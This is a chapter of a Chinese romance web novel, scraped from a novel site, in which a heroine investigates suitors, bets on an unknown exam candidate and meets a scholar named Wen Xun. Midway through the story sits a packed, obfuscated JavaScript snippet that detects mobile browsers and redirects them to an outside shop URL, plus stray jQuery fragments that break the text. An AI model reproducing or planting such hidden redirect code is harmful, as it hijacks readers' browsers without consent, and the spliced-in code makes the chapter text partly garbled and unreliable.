文趣网 > 其他小说 > 霸道侯爷心尖宠 > 22. 022
    但若以此为把柄,将现在的太常寺卿吴尔琢抓在手里,温兰兮不是干不出来。

    扶持人可比威胁人难多了,况且他还在韬光养晦,此事上若是和太子碰上,不正中太子下怀,将他好好敲打一番。

    再者温兰兮也是男子,与任应琤存在同样的弊处。

    苏奈期看向拔步床,雕得花卉很是精美,床帐被青朴挂起,还绑了一只小小香囊,用于安神。

    青朴说香囊是用圣阳公主送来的药材做的,品质很好。

    苏奈期眼前一亮,此事由圣阳公主出面正好!圣阳公主曾希望她胜命胜天,对女子多有怜惜之意。

    她若能为这位吴夫人声张正义,定能圆满促成此事。

    苏奈期提笔将实情写就,求圣阳公主出面,还言之公主能得未来太常寺卿一个人情,定能获益。

    她未让谭杰和赵岳出面送信,而是让周余带着香囊和信去了公主府。

    周余回来时说信被公主的贴身侍女送进去了,倒是没有见到公主。

    苏奈期心道,这就要赌一把了。

    任应琤乐见这位“未来夫婿”倒霉,自然不会阻止,甚至还派人一路护送周余,生怕她贪玩将信丢了。

    圣阳公主不知何时发难,苏奈期已经开始查看第二位人选,忠义伯嫡子常伟,常公子虽是纨绔了些,倒说不上是个狠人。

    苏奈期冷眼看着,忠义伯府家事殷勤,又不指望他建功立业,他爱玩乐些也无妨,只有一条,忠义伯让他不准沾花惹草。

    府中有通房给他散火,绝不许去烟花柳巷干些脏事。

    忠义伯如此,可能与他那死于花柳病的父亲有关,自己不敢再去花楼,让儿子也不准去。

    所以常伟虽有些纨绔之名,在此事上却有些清誉。

    倒是个不错人选。

    谭伟和赵岳生怕苏奈期心动,在常府蹲守常伟半月有余,终于被他俩抓住些首尾,兴奋来报,“苏小姐,这个常伟真是人不可貌相!”

    京中除了有花楼,还有不少暗娼,这常公子可是暗娼门子的熟客,京中的暗娼早被他睡个遍。

    听说被打胎药落掉的私生子都有一打。

    不少暗娼还丢了性命,只为遮掩他的丑事,此事忠义伯不知,但他夫人是知晓的,还多次为儿子扫尾。

    苏奈期冷笑一声,“那便让忠义伯看看他儿子干得好事。”

    京中有意常伟的人家皆收到消息,这位忠义伯之子是位资深闝客,在外还有血脉遗落,甚至还有人命在身。

    忠义伯眼见着之前热络的人家突然变得冷淡,有些莫名,一打探便知道他那混账儿子干了何事,拿出家法将他打个半死。

    常伟怕是半年都出不得门了。

    恩远伯孙柔珍听闻此事,想到自己向侯府推选过这人,连忙过来告罪,“是我过于闭目塞听,不曾知晓此事,还好未耽误苏小姐亲事。”

    林秀贞并不生气,只道:“八字还没一撇的事,不必在意。”

    她便竭力为太常寺卿吴尔琢和大理寺主簿肖焕推荐,苏奈期都有些扶额,这肖焕不知道会有什么问题。

    出人意料的,谭杰和赵岳在肖府蹲了一月都未看出问题。

    正经的主簿一名,肖焕清早去大理寺点卯,然后埋头干活,散值后又从大理寺返回家中,并无不良嗜好。

    休沐日也多是休息读书,偶尔与好友相聚,最是正常不过。

    谭杰和赵岳将此事报与任应琤,他眉毛一挑,“怎么?这位难道是苏小姐的真命夫君?”

    两人不敢答话,只能加强调查。

    年关将至,苏奈期已经换上厚衣御寒,京中已有参加明年春闱的举子赶到,热闹不少。

    肖焕也有友人投奔,这才让谭杰和赵岳瞧出端倪,“苏小姐,这肖焕恐怕有龙阳之好,实非良人呐。”

    谭杰回想起自己看到一幕,“肖焕有个同乡好友姓王名诠,因参加明年春闱,特来投奔肖焕,借住肖府。”

    他面露尴尬之色,犹犹豫豫不敢讲下去,赵岳接下去道:“两人推杯换盏,饮酒作乐,小人蹲守在肖府屋顶,就见两人喝大了,抱在一处。“

    事实上画面更为香艳,两人一边亲吻一边褪去衣物滚做一团,随后便想起不可描述的声音。

    两人第一次撞见男人间干事,一边尴尬一边又开心自己完成任务。

    忙不迭地先和任应琤汇报过便来知会苏奈期。

    苏奈期早有预料,叹了口气,“看来,这些人都不是良配,我的婚事还是从长计议吧。”

    两人恨不得拍手称快。

    苏奈期嘴上应付着两人从长计议,实际已换了男装在举子聚集之处闲逛。

    她见到王诠,他走路不自觉挺胯,眼下有些青黑,身旁人打趣他,“昨晚艳福不浅呐,王举人。”

    苏奈期从旁路过,寻了位置坐下。状元楼以屏风相隔,将每桌客人隔开。状元楼牌匾乃是宁太宗皇帝所书,享有盛名。

    举子为沾文气,多将聚会之所选在这里。

    状元楼设有各种价位的席位,上至王孙贵族下至寒门学子,都能在状元楼有一席位。

    因此,此地文风颇盛,文人在此以文会友,不少人也喜在这求举人墨宝,说不定就押宝状元成功,大赚一笔。

    而有才名的举子,身边早就围有不少人。

    听他们说杭州的沈举人,豫章的徐举人,还有应天府的蒋举人都是状元热门人选,三人素有才名,且具是当地乡试解元。

    不少赌坊都开了赌局,就赌谁会是此届春闱状元。

    苏奈期在状元楼晃悠多日,融入不少文会,见到不少举子的文章,回家后将其默写下来,一一排序。

    有位名不见经传来自乡野之地的考生,不过偶有几句流传在外的句子,又非诗篇,写的甚是晦涩深奥,讲得是水利之举。

    苏奈期便凭这几句断言,“此子会夺得状元之位。”

    青朴满脸疑惑,苏奈期笑而不语,看向人名处——杨红军,青朴笑道,“真是个奇怪的名字,红军是何意?”

    苏奈期却是露出深思之色,好熟悉的名称。

    她拿出积蓄,让青朴去最大的赌坊,押这杨红军为状元,青朴欲言又止,想让她三思,小心倾家荡产。

    苏奈期却道:“你就相信你家小姐吧。“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619997|204827||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杨红军见赌坊竟有人押宝自己,眉心一跳,身旁同窗道:“我就知道杨兄的才华肯定会被人知晓,虽然只有这一人。”

    杨红军:……

    相对于几大热门人选,杨红军实在式微,很快便被人抛掷脑后。

    苏奈期抽出一篇文章,“此策论鞭辟入里,应能中进士,排名差不多在二甲中列。”

    看到人名,苏奈期念出声,“文……徇。”

    苏奈期便扮作男装,参加了文徇所在的文会,这场文会的主角显然是那位豫章的徐举子,文徇出生萍乡,与首府洪都相比逊色不少。

    他静静听着,并不多言,待人接物落落大方,苏奈期悄悄打探他的身世,都道:“是个孝子,家中只有母亲,他一边读书还一边做工,养活老母。读书也很尽心,这个年纪也没娶妻,说是不想拖累别人家女儿。”

    “在萍乡也有才名,中得举子后就有人家想嫁女儿给他,被他婉拒了,说一切等春闱之后再说,他要专心温书。”

    便有人开始调笑,“我们中就文徇年纪轻轻还未成婚,若是中榜,定会教人榜下捉婿捉了去。”

    大家笑作一团,文徇含笑望来,与苏奈期隔着几位举子对视。

    他拱手一拜,与她见礼,苏奈期欠身回礼。

    他面容清俊,身上衣裳被浆洗的泛白,有些文人气,被调笑也不生气,气度不俗。

    文会散去,众人跟在徐举子的身后转场其它地方,文徇落在其后,苏奈期不动声色地走到他身旁,“见过文公子。”

    文徇道:“姑娘,外面人多眼杂,你一个人出来要小心。”

    苏奈期闪过一丝意外,文徇便道:“姑娘领子很高,说话粗着嗓子,且耳朵被挡住,怕是有耳孔。”

    好恐怖的观察力,苏奈期讪笑道:“文公子好眼力。”

    文徇道:“我不仅有眼力,我还猜测你是为我婚事而来,可是京中有人家看上我了?”

    苏奈期瞠目结舌,文徇又道:“男大当婚女大当嫁,倒也不必讳莫如深。”

    苏奈期笑道:“不错,不过人家有些多,文公子喜欢什么样的,我替你牵线搭桥。”

    文徇哼笑一声,道:“原来你是做媒之人。”

    “不错,”苏奈期点头,“又被你发现了,我定为你谋个好婚事。”

    文徇却道:“文某对妻子并无什么要求,家中一贫如洗,嫁我也是吃苦,她看得上我便是我的福气。文某还要照顾母亲,她可以不搭手,但不能视我母亲如累赘。”

    “品性,是文某唯一看重的东西。”

    两人在状元楼二楼栏杆处对视,苏奈期心中清楚,他在叩问她的心,他不问她家事何如,是否富裕,是否权贵,只问她品性。

    苏奈期心中一动,心想,就是他了。

    她道:“品性倒是不坏,只是行事有些不羁,你不强行让她孝顺自己母亲,她也不会将婆母视作仇敌。有经营之能,倒不会让自己吃苦。”

    文徇笑道:“这般好的女子,怎会让我碰上。”

    苏奈期也笑:“你运气好。”

    文徇轻声道:“确实运气好。”